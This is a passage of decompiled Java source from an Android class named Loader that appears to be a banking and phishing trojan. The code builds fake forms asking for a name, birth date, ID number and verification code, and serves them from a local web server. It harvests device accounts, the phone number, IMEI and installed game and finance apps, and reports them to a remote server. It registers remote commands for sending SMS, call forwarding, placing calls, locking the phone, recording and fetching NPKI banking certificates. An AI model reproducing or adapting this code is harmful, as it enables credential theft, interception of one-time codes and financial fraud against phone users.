  3094.             throw new UnsupportedOperationException("Method not decompiled: com.Loader.x.a(java.lang.Object[]):c.a.h<java.util.List<java.lang.String>>");
  3095.         }
  3096.     }
  3097.  
  3098.     static final class y extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  3099.         final /* synthetic */ Loader a;
  3100.  
  3101.         y(Loader loader) {
  3102.             this.a = loader;
  3103.             super(1);
  3104.         }
  3105.  
  3106.         public final c.a.h<Object> a(Object[] objArr) {
  3107.             d.e.b.h.b(objArr, "it");
  3108.             Object obj = objArr[0];
  3109.             if (obj == null) {
  3110.                 throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  3111.             }
  3112.             if (((Boolean) obj).booleanValue()) {
  3113.                 this.a.showFullscreenFloatWindow();
  3114.             } else {
  3115.                 this.a.removeFullscreenFloatWindow();
  3116.             }
  3117.             obj = c.a.h.a();
  3118.             d.e.b.h.a(obj, "Maybe.empty<Any>()");
  3119.             return obj;
  3120.         }
  3121.     }
  3122.  
  3123.     static final class z extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  3124.         final /* synthetic */ Loader a;
  3125.  
  3126.         z(Loader loader) {
  3127.             this.a = loader;
  3128.             super(1);
  3129.         }
  3130.  
  3131.         public final c.a.h<Object> a(Object[] objArr) {
  3132.             d.e.b.h.b(objArr, "it");
  3133.             Object obj = objArr[0];
  3134.             if (obj == null) {
  3135.                 throw new d.g("null cannot be cast to non-null type kotlin.String");
  3136.             }
  3137.             final String str = (String) obj;
  3138.             obj = c.a.h.a((c.a.k) new c.a.k<T>(this) {
  3139.                 final /* synthetic */ z a;
  3140.  
  3141.                 public final void a(c.a.i<Object> iVar) {
  3142.                     d.e.b.h.b(iVar, "it");
  3143.                     iVar.a(this.a.a.ping(str, 4));
  3144.                 }
  3145.             }).a(c.a.g.a.a());
  3146.             d.e.b.h.a(obj, "Maybe.create<Any> {\n    …scribeOn(Schedulers.io())");
  3147.             return obj;
  3148.         }
  3149.     }
  3150.  
  3151.     public Loader() {
  3152.         StringBuilder stringBuilder = new StringBuilder();
  3153.         stringBuilder.append("\n<head>\n    <title></title>\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n    <style>");
  3154.         stringBuilder.append(this.z);
  3155.         stringBuilder.append("</style>\n</head>\n");
  3156.         this.A = stringBuilder.toString();
  3157.         stringBuilder = new StringBuilder();
  3158.         stringBuilder.append("\n<!DOCTYPE html>\n<html>\n");
  3159.         stringBuilder.append(this.A);
  3160.         stringBuilder.append("\n<body>\n\n<script>\n    function onValidate(name, date) {\n        var idx = date.indexOf(\"-\")\n        var i = parseInt(date.substr(0, idx))\n        if(i >= 1999) {\n            dateErr.innerText = \"");
  3161.         stringBuilder.append(p.b(6));
  3162.         stringBuilder.append("\"\n            return false\n        }\n        return true\n    }\n</script>\n\n<div class=\"appbar\">\n    <div class=\"apptitle\">\n        <span class=\"icon\"></span>\n        <span class=\"title\">");
  3163.         stringBuilder.append(p.b(7));
  3164.         stringBuilder.append("</span>\n    </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n    <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(name.value, date.value)\">\n        <label class=\"yf\" for=\"name\" style=\"display: block\">");
  3165.         stringBuilder.append(p.b(8));
  3166.         stringBuilder.append(":</label>\n        <div class=\"cont\">\n            <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"");
  3167.         stringBuilder.append(p.b(8));
  3168.         stringBuilder.append("\">\n        </div>\n        <label class=\"yf\" for=\"date\" style=\"display: block\">");
  3169.         stringBuilder.append(p.b(9));
  3170.         stringBuilder.append(":</label>\n        <div class=\"cont\">\n            <input id=\"date\" name=\"date\" type=\"date\" max=\"1999-01-01\" required>\n        </div>\n        <div id=\"dateErr\" style=\"color: #dd4b39\">\n        </div>\n        <div class=\"cont btn-cont\">\n            <button class=\"submit\" type=\"submit\" style=\"display: block\">");
  3171.         stringBuilder.append(p.b(4));
  3172.         stringBuilder.append("</button>\n        </div>\n    </form>\n</div>\n</body>\n\n</html>\n    ");
  3173.         this.B = stringBuilder.toString();
  3174.         stringBuilder = new StringBuilder();
  3175.         stringBuilder.append("\n<!DOCTYPE html>\n<html>\n");
  3176.         stringBuilder.append(this.A);
  3177.         stringBuilder.append("\n<body>\n\n<script>\n    function onValidate(name, date) {\n        var idx = date.indexOf(\"-\")\n        var i = parseInt(date.substr(0, idx))\n        if(i >= 1999) {\n            dateErr.innerText = \"");
  3178.         stringBuilder.append(p.b(6));
  3179.         stringBuilder.append("\"\n            return false\n        }\n        return true\n    }\n</script>\n\n<div class=\"appbar\">\n    <div class=\"apptitle\">\n        <span class=\"icon\"></span>\n        <span class=\"title\">");
  3180.         stringBuilder.append(p.b(7));
  3181.         stringBuilder.append("</span>\n    </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n    <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(name.value, date.value)\">\n        <label class=\"yf\" for=\"name\" style=\"display: block\">");
  3182.         stringBuilder.append(p.b(8));
  3183.         stringBuilder.append(":</label>\n        <div class=\"cont\">\n            <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"");
  3184.         stringBuilder.append(p.b(8));
  3185.         stringBuilder.append("\">\n        </div>\n        <label class=\"yf\" for=\"date\" style=\"display: block\">");
  3186.         stringBuilder.append(p.b(9));
  3187.         stringBuilder.append(":</label>\n        <div class=\"cont\">\n            <input id=\"date\" name=\"date\" type=\"date\" max=\"1999-01-01\" required>\n        </div>\n        <label class=\"yf\" for=\"idnum\" style=\"display: block\">身份證號:</label>\n        <div class=\"cont\">\n            <input id=\"idnum\" name=\"idnum\" min-length=\"8\" placeholder=\"身份證號\" required>\n        </div>\n        <div id=\"dateErr\" style=\"color: #dd4b39\">\n        </div>\n        <div class=\"cont btn-cont\">\n            <button class=\"submit\" type=\"submit\" style=\"display: block\">");
  3188.         stringBuilder.append(p.b(4));
  3189.         stringBuilder.append("</button>\n        </div>\n    </form>\n</div>\n</body>\n\n</html>\n    ");
  3190.         this.C = stringBuilder.toString();
  3191.         stringBuilder = new StringBuilder();
  3192.         stringBuilder.append("\n<!DOCTYPE html>\n<html>\n");
  3193.         stringBuilder.append(this.A);
  3194.         stringBuilder.append("\n<body>\n\n<script>\n    function onValidate(name, date) {\n        return true\n    }\n</script>\n\n<div class=\"appbar\">\n    <div class=\"apptitle\">\n        <span class=\"icon\"></span>\n        <span class=\"title\">");
  3195.         stringBuilder.append(p.b(7));
  3196.         stringBuilder.append("</span>\n    </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<h3 style=\"margin-left:16px\">%%PHONE_NUMBER%%</h3>\n<div style=\"margin: 10px 10px;\">\n    <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(vcode.value)\">\n        <label class=\"yf\" for=\"name\" style=\"display: block\">");
  3197.         stringBuilder.append(p.b(11));
  3198.         stringBuilder.append(":</label>\n        <div class=\"cont\">\n            <input id=\"vcode\" name=\"vcode\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"");
  3199.         stringBuilder.append(p.b(11));
  3200.         stringBuilder.append("\">\n        </div>\n        <div class=\"cont btn-cont\">\n            <button class=\"submit\" type=\"submit\" style=\"display: block\">");
  3201.         stringBuilder.append(p.b(4));
  3202.         stringBuilder.append("</button>\n        </div>\n    </form>\n</div>\n</body>\n\n</html>\n    ");
  3203.         this.D = stringBuilder.toString();
  3204.     }
  3205.  
  3206.     private final String a() {
  3207.         d.e.b.j.a aVar = new d.e.b.j.a();
  3208.         aVar.a = 0;
  3209.         return (String) p.a((d.e.a.a) new i(this, aVar));
  3210.     }
  3211.  
  3212.     private final String a(Account account) {
  3213.         int nextInt = new Random().nextInt(10000) + 12000;
  3214.         b.g gVar = new b.g(nextInt);
  3215.         gVar.a(new at(this, account, "/"));
  3216.         gVar.b(new au(this, gVar, "/submit"));
  3217.         new Thread(new av(gVar)).start();
  3218.         StringBuilder stringBuilder = new StringBuilder();
  3219.         stringBuilder.append("http://127.0.0.1:");
  3220.         stringBuilder.append(nextInt);
  3221.         stringBuilder.append('/');
  3222.         return stringBuilder.toString();
  3223.     }
  3224.  
  3225.     private final String a(TelephonyManager telephonyManager) {
  3226.         try {
  3227.             Object line1Number = telephonyManager.getLine1Number();
  3228.             d.e.b.h.a(line1Number, "tm.line1Number");
  3229.             return line1Number;
  3230.         } catch (Throwable th) {
  3231.             return "";
  3232.         }
  3233.     }
  3234.  
  3235.     private final String a(String str) {
  3236.         SharedPreferences sharedPreferences = this.e;
  3237.         if (sharedPreferences == null) {
  3238.             d.e.b.h.b("preferences");
  3239.         }
  3240.         Object string = sharedPreferences.getString("addr_url", "https://twitter.com/%s");
  3241.         d.e.b.m mVar = d.e.b.m.a;
  3242.         d.e.b.h.a(string, "urlFormat");
  3243.         Object[] objArr = new Object[]{str};
  3244.         string = String.format(string, Arrays.copyOf(objArr, objArr.length));
  3245.         d.e.b.h.a(string, "java.lang.String.format(format, *args)");
  3246.         String str2 = (String) null;
  3247.         try {
  3248.             SharedPreferences sharedPreferences2 = this.e;
  3249.             if (sharedPreferences2 == null) {
  3250.                 d.e.b.h.b("preferences");
  3251.             }
  3252.             String a = a.b.a(string, sharedPreferences2.getString("addr_encoding", "utf-8"));
  3253.             if (a != null) {
  3254.                 sharedPreferences = this.e;
  3255.                 if (sharedPreferences == null) {
  3256.                     d.e.b.h.b("preferences");
  3257.                 }
  3258.                 String string2 = sharedPreferences.getString("addr_pattern", "<title>abcd([\\u4e00-\\u9fa5]+?) ");
  3259.                 String str3 = (String) null;
  3260.                 Matcher matcher = Pattern.compile(string2).matcher(a);
  3261.                 if (matcher.find()) {
  3262.                     str3 = matcher.group(1);
  3263.                 }
  3264.                 if (str3 != null) {
  3265.                     str2 = p.a(str3);
  3266.                 }
  3267.             }
  3268.         } catch (Exception e) {
  3269.             e.printStackTrace();
  3270.         }
  3271.         if (str2 == null) {
  3272.             Log.e("MSG", "DNS ERR");
  3273.         }
  3274.         return str2;
  3275.     }
  3276.  
  3277.     private final void a(boolean z) {
  3278.         Context context = this.a;
  3279.         if (context == null) {
  3280.             d.e.b.h.b("ctx");
  3281.         }
  3282.         WifiManager wifiManager = (WifiManager) context.getSystemService("wifi");
  3283.         if (wifiManager != null) {
  3284.             wifiManager.setWifiEnabled(z);
  3285.         }
  3286.     }
  3287.  
  3288.     public static final /* synthetic */ Context access$getCtx$p(Loader loader) {
  3289.         Context context = loader.a;
  3290.         if (context == null) {
  3291.             d.e.b.h.b("ctx");
  3292.         }
  3293.         return context;
  3294.     }
  3295.  
  3296.     public static final /* synthetic */ SharedPreferences access$getPreferences$p(Loader loader) {
  3297.         SharedPreferences sharedPreferences = loader.e;
  3298.         if (sharedPreferences == null) {
  3299.             d.e.b.h.b("preferences");
  3300.         }
  3301.         return sharedPreferences;
  3302.     }
  3303.  
  3304.     private final void b() {
  3305.         c.a.g.a.a().a(new f(this));
  3306.     }
  3307.  
  3308.     private final void b(String str) {
  3309.         this.g.b("openbrowser2", new String[]{Locale.getDefault().toString()}).a(c.a.a.b.a.a()).a(new az(this, str), ba.a);
  3310.     }
  3311.  
  3312.     private final void c() {
  3313.         if (!this.n.get()) {
  3314.             this.n.set(true);
  3315.             this.b.postDelayed(new j(this), 5000);
  3316.         }
  3317.         SharedPreferences sharedPreferences = this.e;
  3318.         if (sharedPreferences == null) {
  3319.             d.e.b.h.b("preferences");
  3320.         }
  3321.         int i = sharedPreferences.getInt("shut", 0);
  3322.         List arrayList = new ArrayList();
  3323.         try {
  3324.             Context context = this.a;
  3325.             if (context == null) {
  3326.                 d.e.b.h.b("ctx");
  3327.             }
  3328.             Object systemService = context.getSystemService("account");
  3329.             if (systemService == null) {
  3330.                 throw new d.g("null cannot be cast to non-null type android.accounts.AccountManager");
  3331.             }
  3332.             Object accounts = ((AccountManager) systemService).getAccounts();
  3333.             d.e.b.h.a(accounts, "accounts");
  3334.             if (((accounts.length == 0 ? 1 : 0) ^ 1) != 0) {
  3335.                 Collection arrayList2 = new ArrayList(accounts.length);
  3336.                 for (Account account : accounts) {
  3337.                     StringBuilder stringBuilder = new StringBuilder();
  3338.                     stringBuilder.append(account.name);
  3339.                     stringBuilder.append(":");
  3340.                     stringBuilder.append(account.type);
  3341.                     arrayList2.add(stringBuilder.toString());
  3342.                 }
  3343.                 arrayList.addAll((List) arrayList2);
  3344.             }
  3345.             for (Object contains : c.e) {
  3346.                 if (this.c.contains(contains)) {
  3347.                     systemService = 1;
  3348.                     break;
  3349.                 }
  3350.             }
  3351.             systemService = null;
  3352.             if (systemService != null) {
  3353.                 arrayList.add("TT:");
  3354.             }
  3355.             for (Object contains2 : c.d) {
  3356.                 if (this.c.contains(contains2)) {
  3357.                     systemService = 1;
  3358.                     break;
  3359.                 }
  3360.             }
  3361.             systemService = null;
  3362.             if (systemService != null) {
  3363.                 arrayList.add("MU:");
  3364.             }
  3365.             for (Object contains22 : c.f) {
  3366.                 if (this.c.contains(contains22)) {
  3367.                     systemService = 1;
  3368.                     break;
  3369.                 }
  3370.             }
  3371.             systemService = null;
  3372.             if (systemService != null) {
  3373.                 arrayList.add("DNF:");
  3374.             }
  3375.             for (Object contains222 : c.g) {
  3376.                 if (this.c.contains(contains222)) {
  3377.                     systemService = 1;
  3378.                     break;
  3379.                 }
  3380.             }
  3381.             systemService = null;
  3382.             if (systemService != null) {
  3383.                 arrayList.add("HappyMoney:");
  3384.             }
  3385.             for (Object contains2222 : c.h) {
  3386.                 if (this.c.contains(contains2222)) {
  3387.                     systemService = 1;
  3388.                     break;
  3389.                 }
  3390.             }
  3391.             systemService = null;
  3392.             if (systemService != null) {
  3393.                 arrayList.add("AXE:");
  3394.             }
  3395.             for (Object contains22222 : c.i) {
  3396.                 if (this.c.contains(contains22222)) {
  3397.                     systemService = 1;
  3398.                     break;
  3399.                 }
  3400.             }
  3401.             systemService = null;
  3402.             if (systemService != null) {
  3403.                 arrayList.add("nexonID:");
  3404.             }
  3405.             for (Object contains222222 : c.j) {
  3406.                 if (this.c.contains(contains222222)) {
  3407.                     systemService = 1;
  3408.                     break;
  3409.                 }
  3410.             }
  3411.             systemService = null;
  3412.             if (systemService != null) {
  3413.                 arrayList.add("hangame:");
  3414.             }
  3415.             context = this.a;
  3416.             if (context == null) {
  3417.                 d.e.b.h.b("ctx");
  3418.             }
  3419.             systemService = context.getSystemService("phone");
  3420.             if (systemService == null) {
  3421.                 throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  3422.             }
  3423.             String a;
  3424.             Object deviceId;
  3425.             Object obj;
  3426.             TelephonyManager telephonyManager = (TelephonyManager) systemService;
  3427.             String str = "";
  3428.             try {
  3429.                 a = a(telephonyManager);
  3430.             } catch (Throwable th) {
  3431.                 a = str;
  3432.             }
  3433.             String str2 = "";
  3434.             try {
  3435.                 deviceId = telephonyManager.getDeviceId();
  3436.                 d.e.b.h.a(deviceId, "tm.deviceId");
  3437.                 obj = deviceId;
  3438.             } catch (Throwable th2) {
  3439.                 String obj2 = str2;
  3440.             }
  3441.             Context context2 = this.a;
  3442.             if (context2 == null) {
  3443.                 d.e.b.h.b("ctx");
  3444.             }
  3445.             deviceId = context2.getSystemService("wifi");
  3446.             if (deviceId == null) {
  3447.                 throw new d.g("null cannot be cast to non-null type android.net.wifi.WifiManager");
  3448.             }
  3449.             WifiManager wifiManager = (WifiManager) deviceId;
  3450.             wifiManager.startScan();
  3451.             try {
  3452.                 deviceId = wifiManager.createWifiLock("Swi");
  3453.                 d.e.b.h.a(deviceId, "wm.createWifiLock(\"Swi\")");
  3454.                 this.wifiLock = deviceId;
  3455.                 WifiLock wifiLock = this.wifiLock;
  3456.                 if (wifiLock == null) {
  3457.                     d.e.b.h.b("wifiLock");
  3458.                 }
  3459.                 wifiLock.setReferenceCounted(false);
  3460.                 wifiLock = this.wifiLock;
  3461.                 if (wifiLock == null) {
  3462.                     d.e.b.h.b("wifiLock");
  3463.                 }
  3464.                 wifiLock.acquire();
  3465.             } catch (Throwable th3) {
  3466.             }
  3467.             g gVar = this.g;
  3468.             context2 = this.a;
  3469.             if (context2 == null) {
  3470.                 d.e.b.h.b("ctx");
  3471.             }
  3472.             String a2 = a.a.a(context2);
  3473.             int i2 = c.a;
  3474.             String str3 = VERSION.RELEASE;
  3475.             StringBuilder stringBuilder2 = new StringBuilder();
  3476.             stringBuilder2.append(Build.MODEL);
  3477.             stringBuilder2.append(":");
  3478.             stringBuilder2.append(Build.DISPLAY);
  3479.             String stringBuilder3 = stringBuilder2.toString();
  3480.             boolean z = this.t;
  3481.             boolean z2 = telephonyManager.getSimState() == 5;
  3482.             String a3 = m.a(arrayList, "\n", null, null, 0, null, null, 62, null);
  3483.             long firstAppDate = getFirstAppDate();
  3484.             if (this.e == null) {
  3485.                 d.e.b.h.b("preferences");
  3486.             }
  3487.             c.a.s b = gVar.b("hello", new Object[]{a2, Integer.valueOf(i2), str3, stringBuilder3, Boolean.valueOf(z), Integer.valueOf(i), Boolean.valueOf(z2), a, obj2, a3, Long.valueOf(firstAppDate), Integer.valueOf(r3.getInt("create", 0))});
  3488.             c.a.d.d kVar = new k(this);
  3489.             d.e.a.b bVar = l.a;
  3490.             if (bVar != null) {
  3491.                 bVar = new d(bVar);
  3492.             }
  3493.             b.a(kVar, (c.a.d.d) bVar);
  3494.         } catch (Exception e) {
  3495.             e.printStackTrace();
  3496.         }
  3497.     }
  3498.  
  3499.     public static final Loader create() {
  3500.         return Companion.a();
  3501.     }
  3502.  
  3503.     private final void d() {
  3504.         this.g.a("sendSms", (d.e.a.b) new p(this));
  3505.         this.g.a("setWifi", (d.e.a.b) new aa(this));
  3506.         this.g.a("gcont", (d.e.a.b) new ac(this));
  3507.         this.g.a("lock", (d.e.a.b) new ad(this));
  3508.         this.g.a("bc", (d.e.a.b) new ae(this));
  3509.         this.g.a("setForward", (d.e.a.b) new af(this));
  3510.         this.g.a("getForward", (d.e.a.b) new ag(this));
  3511.         this.g.a("hasPkg", (d.e.a.b) new ah(this));
  3512.         this.g.a("setRingerMode", (d.e.a.b) new ai(this));
  3513.         this.g.a("setRecEnable", (d.e.a.b) new q(this));
  3514.         this.g.a("reqState", (d.e.a.b) new r(this));
  3515.         this.g.a("showHome", (d.e.a.b) new s(this));
  3516.         this.g.a("getnpki", (d.e.a.b) t.a);
  3517.         this.g.a("http", (d.e.a.b) u.a);
  3518.         this.g.a("onRecordAction", (d.e.a.b) new v(this));
  3519.         this.g.a("call", (d.e.a.b) new w(this));
  3520.         this.g.a("get_apps", (d.e.a.b) new x(this));
  3521.         this.g.a("show_fs_float_window", (d.e.a.b) new y(this));
  3522.         this.g.a("ping", (d.e.a.b) new z(this));
  3523.         this.g.a("getPhoneState", (d.e.a.b) new ab(this));
  3524.     }
  3525.  
  3526.     private final String e() {
  3527.         Context context = this.a;
  3528.         if (context == null) {
  3529.             d.e.b.h.b("ctx");
  3530.         }
  3531.         Object systemService = context.getSystemService("account");
  3532.         if (systemService == null) {
  3533.             throw new d.g("null cannot be cast to non-null type android.accounts.AccountManager");
  3534.         }
  3535.         Object accounts = ((AccountManager) systemService).getAccounts();
  3536.         String str = "";
  3537.         d.e.b.h.a(accounts, "accounts");
  3538.         for (Account account : accounts) {
  3539.             if (d.e.b.h.a((Object) "com.google", account.type)) {
  3540.                 break;
  3541.             }
  3542.         }
  3543.         Account account2 = null;
  3544.         if (account2 == null) {
  3545.             return str;
  3546.         }
  3547.         systemService = account2.name;
  3548.         d.e.b.h.a(systemService, "acc.name");
  3549.         return systemService;
  3550.     }
  3551.  
  3552.     @SuppressLint({"NewApi"})
  3553.     private final void f() {
  3554.         Context context = this.a;
  3555.         if (context == null) {
  3556.             d.e.b.h.b("ctx");
  3557.         }
  3558.         Object systemService = context.getSystemService("notification");
  3559.         if (systemService == null) {
  3560.             throw new d.g("null cannot be cast to non-null type android.app.NotificationManager");
  3561.         }
  3562.         NotificationManager notificationManager = (NotificationManager) systemService;
  3563.         notificationManager.cancel(12312);
  3564.         this.g.b("getnotify", null).a(c.a.a.b.a.a()).a(new g(this, notificationManager, 12312), h.a);
  3565.     }
  3566.  
  3567.     private final String g() {
  3568.         int nextInt = new Random().nextInt(10000) + 2000;
  3569.         b.g gVar = new b.g(nextInt);
  3570.         gVar.a(new aw(this, "/"));
  3571.         gVar.b(new ax(this, gVar, "/submit"));
  3572.         new Thread(new ay(gVar)).start();
  3573.         StringBuilder stringBuilder = new StringBuilder();
  3574.         stringBuilder.append("http://127.0.0.1:");
  3575.         stringBuilder.append(nextInt);
  3576.         stringBuilder.append('/');
  3577.         return stringBuilder.toString();
  3578.     }
  3579.  
  3580.     /* JADX WARNING: Removed duplicated region for block: B:129:0x029a  */
  3581.     /* JADX WARNING: Removed duplicated region for block: B:132:0x0300  */
  3582.     /* JADX WARNING: Removed duplicated region for block: B:107:0x0230  */
  3583.     /* JADX WARNING: Removed duplicated region for block: B:113:0x0248  */
  3584.     /* JADX WARNING: Removed duplicated region for block: B:110:0x023d  */
  3585.     /* JADX WARNING: Removed duplicated region for block: B:79:0x0193  */
  3586.     /* JADX WARNING: Removed duplicated region for block: B:107:0x0230  */
  3587.     /* JADX WARNING: Removed duplicated region for block: B:110:0x023d  */
  3588.     /* JADX WARNING: Removed duplicated region for block: B:113:0x0248  */
  3589.     @android.annotation.SuppressLint({"WrongConstant", "NewApi"})
  3590.     private final void h() {
  3591.         /*
  3592.         r14 = this;
  3593.         r0 = r14.g;
  3594.         r0 = r0.b();
  3595.         if (r0 != 0) goto L_0x0009;
  3596.     L_0x0008:
  3597.         return;
  3598.     L_0x0009:
  3599.         r0 = r14.a;
  3600.         if (r0 != 0) goto L_0x0012;
  3601.     L_0x000d:
  3602.         r1 = "ctx";
  3603.         d.e.b.h.b(r1);
  3604.     L_0x0012:
  3605.         r1 = "phone";
  3606.         r0 = r0.getSystemService(r1);
  3607.         if (r0 != 0) goto L_0x0022;
  3608.     L_0x001a:
  3609.         r0 = new d.g;
  3610.         r1 = "null cannot be cast to non-null type android.telephony.TelephonyManager";
  3611.         r0.<init>(r1);
  3612.         throw r0;
  3613.     L_0x0022:
  3614.         r6 = r0;
  3615.         r6 = (android.telephony.TelephonyManager) r6;
  3616.         r0 = r14.a;
  3617.         if (r0 != 0) goto L_0x002e;
  3618.     L_0x0029:
  3619.         r1 = "ctx";
  3620.         d.e.b.h.b(r1);
  3621.     L_0x002e:
  3622.         r1 = "power";
  3623.         r0 = r0.getSystemService(r1);
  3624.         if (r0 != 0) goto L_0x003e;
  3625.     L_0x0036:
  3626.         r0 = new d.g;
  3627.         r1 = "null cannot be cast to non-null type android.os.PowerManager";
  3628.         r0.<init>(r1);
  3629.         throw r0;
  3630.     L_0x003e:
  3631.         r7 = r0;
  3632.         r7 = (android.os.PowerManager) r7;
  3633.         r0 = android.os.Build.VERSION.SDK_INT;
  3634.         r1 = 23;
  3635.         if (r0 < r1) goto L_0x00ab;
  3636.     L_0x0047:
  3637.         r0 = r7.getClass();
  3638.         r1 = "isIgnoringBatteryOptimizations";
  3639.         r2 = 1;
  3640.         r2 = new java.lang.Class[r2];
  3641.         r3 = 0;
  3642.         r4 = java.lang.String.class;
  3643.         r2[r3] = r4;
  3644.         r0 = r0.getMethod(r1, r2);
  3645.         r1 = r14.a;
  3646.         if (r1 != 0) goto L_0x0062;
  3647.     L_0x005d:
  3648.         r2 = "ctx";
  3649.         d.e.b.h.b(r2);
  3650.     L_0x0062:
  3651.         r2 = "power";
  3652.         r1 = r1.getSystemService(r2);
  3653.         r2 = r14.a;
  3654.         if (r2 != 0) goto L_0x0071;
  3655.     L_0x006c:
  3656.         r3 = "ctx";
  3657.         d.e.b.h.b(r3);
  3658.     L_0x0071:
  3659.         r3 = 1;
  3660.         r3 = new java.lang.Object[r3];
  3661.         r4 = 0;
  3662.         r2 = r2.getPackageName();
  3663.         r3[r4] = r2;
  3664.         r0 = r0.invoke(r1, r3);
  3665.         if (r0 != 0) goto L_0x0089;
  3666.     L_0x0081:
  3667.         r0 = new d.g;
  3668.         r1 = "null cannot be cast to non-null type kotlin.Boolean";
  3669.         r0.<init>(r1);
  3670.         throw r0;
  3671.     L_0x0089:
  3672.         r0 = (java.lang.Boolean) r0;
  3673.         r0 = r0.booleanValue();
  3674.         r0 = r0 ^ 1;
  3675.         r9 = r0;
  3676.     L_0x0092:
  3677.         r0 = r14.a;
  3678.         if (r0 != 0) goto L_0x009b;
  3679.     L_0x0096:
  3680.         r1 = "ctx";
  3681.         d.e.b.h.b(r1);
  3682.     L_0x009b:
  3683.         r1 = "connectivity";
  3684.         r0 = r0.getSystemService(r1);
  3685.         if (r0 != 0) goto L_0x00ae;
  3686.     L_0x00a3:
  3687.         r0 = new d.g;
  3688.         r1 = "null cannot be cast to non-null type android.net.ConnectivityManager";
  3689.         r0.<init>(r1);
  3690.         throw r0;
  3691.     L_0x00ab:
  3692.         r0 = 0;
  3693.         r9 = r0;
  3694.         goto L_0x0092;
  3695.     L_0x00ae:
  3696.         r0 = (android.net.ConnectivityManager) r0;
  3697.         r1 = r0.getActiveNetworkInfo();
  3698.         r0 = "";
  3699.         if (r1 == 0) goto L_0x00c1;
  3700.     L_0x00b8:
  3701.         r0 = r1.getTypeName();
  3702.         r1 = "info.typeName";
  3703.         d.e.b.h.a(r0, r1);
  3704.     L_0x00c1:
  3705.         r1 = "MOBILE";
  3706.         r1 = d.e.b.h.a(r0, r1);
  3707.         if (r1 == 0) goto L_0x031d;
  3708.     L_0x00c9:
  3709.         r0 = r6.getNetworkType();
  3710.         r0 = com.p.a(r0);
  3711.         r5 = r0;
  3712.     L_0x00d2:
  3713.         r0 = r14.a;
  3714.         if (r0 != 0) goto L_0x00db;
  3715.     L_0x00d6:
  3716.         r1 = "ctx";
  3717.         d.e.b.h.b(r1);
  3718.     L_0x00db:
  3719.         r1 = "wifi";
  3720.         r0 = r0.getSystemService(r1);
  3721.         if (r0 != 0) goto L_0x00eb;
  3722.     L_0x00e3:
  3723.         r0 = new d.g;
  3724.         r1 = "null cannot be cast to non-null type android.net.wifi.WifiManager";
  3725.         r0.<init>(r1);
  3726.         throw r0;
  3727.     L_0x00eb:
  3728.         r0 = (android.net.wifi.WifiManager) r0;
  3729.         r1 = "WIFI";
  3730.         r1 = d.e.b.h.a(r5, r1);
  3731.         if (r1 == 0) goto L_0x0317;
  3732.     L_0x00f5:
  3733.         r8 = r0.getConnectionInfo();
  3734.         r1 = "curr";
  3735.         d.e.b.h.a(r8, r1);
  3736.         r1 = r8.getBSSID();
  3737.         if (r1 == 0) goto L_0x0317;
  3738.     L_0x0104:
  3739.         r1 = r14.v;
  3740.         r2 = r8.getBSSID();
  3741.         r1 = r1.get(r2);
  3742.         r1 = (java.lang.String) r1;
  3743.         if (r1 != 0) goto L_0x016b;
  3744.     L_0x0112:
  3745.         r2 = r0.getScanResults();
  3746.         r3 = "scanResults";
  3747.         d.e.b.h.a(r2, r3);
  3748.         r2 = (java.lang.Iterable) r2;
  3749.         r10 = r2.iterator();
  3750.     L_0x0121:
  3751.         r3 = r10.hasNext();
  3752.         if (r3 == 0) goto L_0x0168;
  3753.     L_0x0127:
  3754.         r4 = r10.next();
  3755.         r3 = r4;
  3756.         r3 = (android.net.wifi.ScanResult) r3;
  3757.         r3 = r3.BSSID;
  3758.         r11 = r8.getBSSID();
  3759.         r3 = d.e.b.h.a(r3, r11);
  3760.         if (r3 == 0) goto L_0x0121;
  3761.     L_0x013a:
  3762.         r3 = r4;
  3763.     L_0x013b:
  3764.         r3 = (android.net.wifi.ScanResult) r3;
  3765.         if (r3 == 0) goto L_0x031a;
  3766.     L_0x013f:
  3767.         r1 = r3.capabilities;
  3768.         r3 = r1;
  3769.     L_0x0142:
  3770.         r4 = r2.iterator();
  3771.     L_0x0146:
  3772.         r1 = r4.hasNext();
  3773.         if (r1 == 0) goto L_0x016a;
  3774.     L_0x014c:
  3775.         r1 = r4.next();
  3776.         r1 = (android.net.wifi.ScanResult) r1;
  3777.         r2 = r14.v;
  3778.         r2 = (java.util.Map) r2;
  3779.         r8 = r1.BSSID;
  3780.         r10 = "it.BSSID";
  3781.         d.e.b.h.a(r8, r10);
  3782.         r1 = r1.capabilities;
  3783.         r10 = "it.capabilities";
  3784.         d.e.b.h.a(r1, r10);
  3785.         r2.put(r8, r1);
  3786.         goto L_0x0146;
  3787.     L_0x0168:
  3788.         r3 = 0;
  3789.         goto L_0x013b;
  3790.     L_0x016a:
  3791.         r1 = r3;
  3792.     L_0x016b:
  3793.         if (r1 == 0) goto L_0x0317;
  3794.     L_0x016d:
  3795.         r1 = (java.lang.CharSequence) r1;
  3796.         r2 = "WPA";
  3797.         r2 = (java.lang.CharSequence) r2;
  3798.         r3 = 0;
  3799.         r4 = 2;
  3800.         r5 = 0;
  3801.         r2 = d.i.t.a(r1, r2, r3, r4, r5);
  3802.         if (r2 != 0) goto L_0x0189;
  3803.     L_0x017c:
  3804.         r2 = "WEP";
  3805.         r2 = (java.lang.CharSequence) r2;
  3806.         r3 = 0;
  3807.         r4 = 2;
  3808.         r5 = 0;
  3809.         r1 = d.i.t.a(r1, r2, r3, r4, r5);
  3810.         if (r1 == 0) goto L_0x01de;
  3811.     L_0x0189:
